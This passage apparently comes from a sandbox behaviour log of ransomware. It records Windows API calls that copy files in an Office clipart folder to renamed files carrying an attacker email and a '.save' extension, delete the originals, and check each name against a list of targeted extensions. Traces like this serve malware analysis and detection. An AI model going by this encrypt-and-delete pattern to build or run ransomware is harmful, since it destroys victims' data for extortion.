dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.689] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0198.690] GetLastError () returned 0x0 [0198.690] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x4124, lpOverlapped=0x0) returned 1 [0198.985] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x4130, lpOverlapped=0x0) returned 1 [0198.986] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0198.986] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0198.986] SetEndOfFile (hFile=0x528) returned 1 [0199.141] CloseHandle (hObject=0x528) returned 1 [0199.141] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0199.141] SetEndOfFile (hFile=0x554) returned 1 [0199.144] CloseHandle (hObject=0x554) returned 1 [0199.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf")) returned 1 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0199.150] lstrlenW (lpString=".doc") returned 4 [0199.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.150] lstrlenW (lpString=".docx") returned 5 [0199.150] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.150] lstrlenW (lpString=".pdf") returned 4 [0199.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.150] lstrlenW (lpString=".xls") returned 4 [0199.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.150] lstrlenW (lpString=".xlsx") returned 5 [0199.150] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.150] lstrlenW (lpString=".ppt") returned 4 [0199.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0199.150] lstrlenW (lpString=".zip") returned 4 [0199.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.150] lstrlenW (lpString=".rar") returned 4 [0199.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.151] lstrlenW (lpString=".bz2") returned 4 [0199.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.151] lstrlenW (lpString=".7z") returned 3 [0199.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0199.151] lstrlenW (lpString=".dbf") returned 4 [0199.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0199.151] lstrlenW (lpString=".1cd") returned 4 [0199.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0199.151] lstrlenW (lpString=".jpg") returned 4 [0199.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.173] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0199.173] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0199.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0199.175] GetLastError () returned 0x0 [0199.175] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x302c, lpOverlapped=0x0) returned 1 [0199.608] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3030, lpOverlapped=0x0) returned 1 [0199.610] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0199.610] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0199.610] SetEndOfFile (hFile=0x528) returned 1 [0199.610] CloseHandle (hObject=0x528) returned 1 [0199.610] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0199.610] SetEndOfFile (hFile=0x554) returned 1 [0199.614] CloseHandle (hObject=0x554) returned 1 [0199.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf")) returned 1 [0199.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0199.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0199.617] lstrlenW (lpString=".doc") returned 4 [0199.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.617] lstrlenW (lpString=".docx") returned 5 [0199.617] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.617] lstrlenW (lpString=".pdf") returned 4 [0199.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.617] lstrlenW (lpString=".xls") returned 4 [0199.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.617] lstrlenW (lpString=".xlsx") returned 5 [0199.617] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.617] lstrlenW (lpString=".ppt") returned 4 [0199.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0199.618] lstrlenW (lpString=".zip") returned 4 [0199.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.618] lstrlenW (lpString=".rar") returned 4 [0199.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.618] lstrlenW (lpString=".bz2") returned 4 [0199.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.618] lstrlenW (lpString=".7z") returned 3 [0199.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0199.618] lstrlenW (lpString=".dbf") returned 4 [0199.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0199.618] lstrlenW (lpString=".1cd") returned 4 [0199.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0199.618] lstrlenW (lpString=".jpg") returned 4 [0199.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0200.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0200.402] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0200.402] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0200.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0202.322] GetLastError () returned 0x0 [0202.322] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xa0b0, lpOverlapped=0x0) returned 1 [0202.325] WriteFile (in: hFile=0x414, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xa0c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xa0c0, lpOverlapped=0x0) returned 1 [0202.327] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0202.327] WriteFile (in: hFile=0x414, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0202.328] SetEndOfFile (hFile=0x414) returned 1 [0202.328] CloseHandle (hObject=0x414) returned 1 [0202.328] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.328] SetEndOfFile (hFile=0x45c) returned 1 [0202.331] CloseHandle (hObject=0x45c) returned 1 [0202.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf")) returned 1 [0202.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0202.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0202.334] lstrlenW (lpString=".doc") returned 4 [0202.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.334] lstrlenW (lpString=".docx") returned 5 [0202.334] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0202.334] lstrlenW (lpString=".pdf") returned 4 [0202.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.334] lstrlenW (lpString=".xls") returned 4 [0202.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.334] lstrlenW (lpString=".xlsx") returned 5 [0202.334] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0202.334] lstrlenW (lpString=".ppt") returned 4 [0202.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0202.334] lstrlenW (lpString=".zip") returned 4 [0202.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.334] lstrlenW (lpString=".rar") returned 4 [0202.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.334] lstrlenW (lpString=".bz2") returned 4 [0202.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.334] lstrlenW (lpString=".7z") returned 3 [0202.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0202.334] lstrlenW (lpString=".dbf") returned 4 [0202.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0202.334] lstrlenW (lpString=".1cd") returned 4 [0202.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0202.334] lstrlenW (lpString=".jpg") returned 4 [0202.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.335] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.335] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0202.337] GetLastError () returned 0x0 [0202.337] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x25cc, lpOverlapped=0x0) returned 1 [0202.339] WriteFile (in: hFile=0x414, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x25d0, lpOverlapped=0x0) returned 1 [0202.340] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0202.340] WriteFile (in: hFile=0x414, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0202.340] SetEndOfFile (hFile=0x414) returned 1 [0202.340] CloseHandle (hObject=0x414) returned 1 [0202.340] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.341] SetEndOfFile (hFile=0x45c) returned 1 [0202.344] CloseHandle (hObject=0x45c) returned 1 [0202.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf")) returned 1 [0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0202.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0202.345] lstrlenW (lpString=".doc") returned 4 [0202.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.346] lstrlenW (lpString=".docx") returned 5 [0202.346] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.346] lstrlenW (lpString=".pdf") returned 4 [0202.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.346] lstrlenW (lpString=".xls") returned 4 [0202.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.346] lstrlenW (lpString=".xlsx") returned 5 [0202.346] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.346] lstrlenW (lpString=".ppt") returned 4 [0202.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0202.346] lstrlenW (lpString=".zip") returned 4 [0202.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.346] lstrlenW (lpString=".rar") returned 4 [0202.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.346] lstrlenW (lpString=".bz2") returned 4 [0202.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.346] lstrlenW (lpString=".7z") returned 3 [0202.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0202.346] lstrlenW (lpString=".dbf") returned 4 [0202.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0202.346] lstrlenW (lpString=".1cd") returned 4 [0202.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0202.346] lstrlenW (lpString=".jpg") returned 4 [0202.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.347] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.347] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0202.349] GetLastError () returned 0x0 [0202.349] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x199a, lpOverlapped=0x0) returned 1 [0202.350] WriteFile (in: hFile=0x414, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x19a0, lpOverlapped=0x0) returned 1 [0202.351] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0202.351] WriteFile (in: hFile=0x414, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0202.351] SetEndOfFile (hFile=0x414) returned 1 [0202.352] CloseHandle (hObject=0x414) returned 1 [0202.352] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.352] SetEndOfFile (hFile=0x45c) returned 1 [0202.354] CloseHandle (hObject=0x45c) returned 1 [0202.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf")) returned 1 [0202.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0202.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0202.356] lstrlenW (lpString=".doc") returned 4 [0202.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.356] lstrlenW (lpString=".docx") returned 5 [0202.356] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0202.356] lstrlenW (lpString=".pdf") returned 4 [0202.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.356] lstrlenW (lpString=".xls") returned 4 [0202.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.356] lstrlenW (lpString=".xlsx") returned 5 [0202.356] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0202.356] lstrlenW (lpString=".ppt") returned 4 [0202.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0202.356] lstrlenW (lpString=".zip") returned 4 [0202.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.356] lstrlenW (lpString=".rar") returned 4 [0202.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.356] lstrlenW (lpString=".bz2") returned 4 [0202.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.357] lstrlenW (lpString=".7z") returned 3 [0202.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0202.357] lstrlenW (lpString=".dbf") returned 4 [0202.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0202.357] lstrlenW (lpString=".1cd") returned 4 [0202.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0202.357] lstrlenW (lpString=".jpg") returned 4 [0202.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.396] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.396] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0202.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0202.399] GetLastError () returned 0x0 [0202.399] ReadFile (in: hFile=0x3fc, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x80c, lpOverlapped=0x0) returned 1 [0202.401] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x810, lpOverlapped=0x0) returned 1 [0202.402] ReadFile (in: hFile=0x3fc, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0202.402] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: 